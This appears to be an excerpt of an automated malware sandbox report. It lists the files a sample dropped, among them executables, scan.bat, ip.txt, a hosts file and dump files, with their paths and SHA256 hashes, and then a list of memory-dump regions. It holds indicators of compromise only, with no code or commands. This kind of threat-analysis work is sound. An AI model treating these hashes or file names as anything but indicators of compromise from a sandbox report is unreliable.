                                                                  1612.dmp

                                                                  • Path C:\Windows\TEMP\ncatlbinb\1612.dmp
                                                                  • Size 5.3MB
                                                                  • SHA256 4f4abcda05418e95c113bf13e56ebc2e4460a333002936ad2e5250e27dda3886
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  1948.dmp

                                                                  • Path C:\Windows\TEMP\ncatlbinb\1948.dmp
                                                                  • Size 6.6MB
                                                                  • SHA256 6290a5fc2aad1ea408891b74e3e0efb27330c04da8110781000cc4e671a14b2a
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  2204.dmp

                                                                  • Path C:\Windows\TEMP\ncatlbinb\2204.dmp
                                                                  • Size 843KB
                                                                  • SHA256 9420a09e104e187bdba4d4df344b8c9166a5986562d2382555dd666858d2691e
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  308.dmp

                                                                  • Path C:\Windows\TEMP\ncatlbinb\308.dmp
                                                                  • Size 4.6MB
                                                                  • SHA256 b0f26b23e7f76c2e74d6c8fee8df4d53159f052e1281fdf89400b5160cc0ec24
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  800.dmp

                                                                  • Path C:\Windows\TEMP\ncatlbinb\800.dmp
                                                                  • Size 4.0MB
                                                                  • SHA256 122d75e52b00b5a50a608ba62551ec5d1e71c71062bb935aeea90b121ed32acf
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  qnmtmn.exe

                                                                  • Path C:\Windows\Temp\jirbymkef\qnmtmn.exe
                                                                  • Size 343KB
                                                                  • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  xohudmc.exe

                                                                  • Path C:\Windows\Temp\xohudmc.exe
                                                                  • Size 72KB
                                                                  • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  ip.txt

                                                                  • Path C:\Windows\ncatlbinb\tkblimsfb\ip.txt
                                                                  • Size 191B
                                                                  • SHA256 f437001326b82fc75b63659ecd0a048076cf0a85dd0f45fa1ee04756e68ae236
                                                                  • MD5 SHA1 SHA512

                                                                  qbntfpebj.exe

                                                                  • Path C:\Windows\ncatlbinb\tkblimsfb\qbntfpebj.exe
                                                                  • Size 63KB
                                                                  • SHA256 a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  scan.bat

                                                                  • Path C:\Windows\ncatlbinb\tkblimsfb\scan.bat
                                                                  • Size 159B
                                                                  • SHA256 61dd66f04d9cec5945c164438a4796c44188bb5bfa82f069c9f7331e9c37dbe1
                                                                  • MD5 SHA1 SHA512

                                                                  hosts

                                                                  • Path C:\Windows\system32\drivers\etc\hosts
                                                                  • Size 975B
                                                                  • SHA256 a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
                                                                  • MD5 SHA1 SHA512

                                                                  nkzsffpiu.exe

                                                                  • Path \Windows\Temp\ncatlbinb\nkzsffpiu.exe
                                                                  • Size 126KB
                                                                  • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  System.dll

                                                                  • Path \Windows\Temp\nsz6E01.tmp\System.dll
                                                                  • Size 11KB
                                                                  • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  nsExec.dll

                                                                  • Path \Windows\Temp\nsz6E01.tmp\nsExec.dll
                                                                  • Size 6KB
                                                                  • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  ttyuieu.exe

                                                                  • Path \Windows\aqivbpuf\ttyuieu.exe
                                                                  • Size 9.2MB
                                                                  • SHA256 a83dbfdaf1c173ab7b08ab748d64acae0a5eabf4891e011c5aa3ed7bcba647f8
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  vfshost.exe

                                                                  • Path \Windows\ncatlbinb\Corporate\vfshost.exe
                                                                  • Size 381KB
                                                                  • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  nqqitriut.exe

                                                                  • Path \Windows\ncatlbinb\tkblimsfb\nqqitriut.exe
                                                                  • Size 332KB
                                                                  • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  wpcap.exe

                                                                  • Path \Windows\ncatlbinb\tkblimsfb\wpcap.exe
                                                                  • Size 424KB
                                                                  • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  memory/576-223-0x000000013F9B0000-0x000000013FA0B000-memory.dmp

                                                                  memory/576-221-0x000000013F9B0000-0x000000013FA0B000-memory.dmp

                                                                  memory/620-138-0x000000013F880000-0x000000013F96E000-memory.dmp

                                                                  memory/620-135-0x000000013F880000-0x000000013F96E000-memory.dmp

                                                                  memory/1164-261-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-236-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-263-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-210-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-262-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-203-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-151-0x0000000000110000-0x0000000000120000-memory.dmp

                                                                  memory/1164-149-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-225-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-189-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-226-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-231-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1164-232-0x000000013F2C0000-0x000000013F3E0000-memory.dmp

                                                                  memory/1568-246-0x0000000000340000-0x0000000000352000-memory.dmp

                                                                  memory/1620-196-0x000000013F850000-0x000000013F8AB000-memory.dmp

                                                                  memory/1620-194-0x000000013F850000-0x000000013F8AB000-memory.dmp

                                                                  memory/1692-164-0x0000000010000000-0x0000000010008000-memory.dmp

                                                                  memory/1692-178-0x0000000000400000-0x0000000000412000-memory.dmp

                                                                  memory/1820-134-0x0000000000C40000-0x0000000000D2E000-memory.dmp

                                                                  memory/1820-131-0x0000000000C40000-0x0000000000D2E000-memory.dmp

                                                                  memory/2196-180-0x000000013F1A0000-0x000000013F1FB000-memory.dmp

                                                                  memory/2196-177-0x000000013F1A0000-0x000000013F1FB000-memory.dmp

                                                                  memory/2276-144-0x000000013FB40000-0x000000013FB9B000-memory.dmp

                                                                  memory/2276-154-0x000000013FB40000-0x000000013FB9B000-memory.dmp

                                                                  memory/2336-183-0x00000000019D0000-0x0000000001A2B000-memory.dmp

                                                                  memory/2336-193-0x0000000001A90000-0x0000000001AEB000-memory.dmp

                                                                  memory/2336-212-0x0000000001A90000-0x0000000001AEB000-memory.dmp

                                                                  memory/2336-143-0x0000000002410000-0x000000000246B000-memory.dmp

                                                                  memory/2336-204-0x00000000019D0000-0x0000000001A2B000-memory.dmp

                                                                  memory/2336-205-0x0000000001A90000-0x0000000001AEB000-memory.dmp

                                                                  memory/2336-148-0x0000000002AC0000-0x0000000002BE0000-memory.dmp

                                                                  memory/2336-202-0x0000000002AC0000-0x0000000002BE0000-memory.dmp

                                                                  memory/2336-198-0x0000000002410000-0x000000000246B000-memory.dmp

                                                                  memory/2524-248-0x0000000000CB0000-0x0000000000CC2000-memory.dmp

                                                                  memory/2600-75-0x0000000000110000-0x000000000015C000-memory.dmp

                                                                  memory/2696-206-0x000000013F7B0000-0x000000013F80B000-memory.dmp

                                                                  memory/2696-208-0x000000013F7B0000-0x000000013F80B000-memory.dmp

                                                                  memory/2740-216-0x000000013F5A0000-0x000000013F5FB000-memory.dmp

                                                                  memory/2748-9-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                  memory/2900-187-0x000000013FB30000-0x000000013FB8B000-memory.dmp

                                                                  memory/2924-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                  memory/2924-4-0x0000000000400000-0x0000000000A9B000-memory.dmp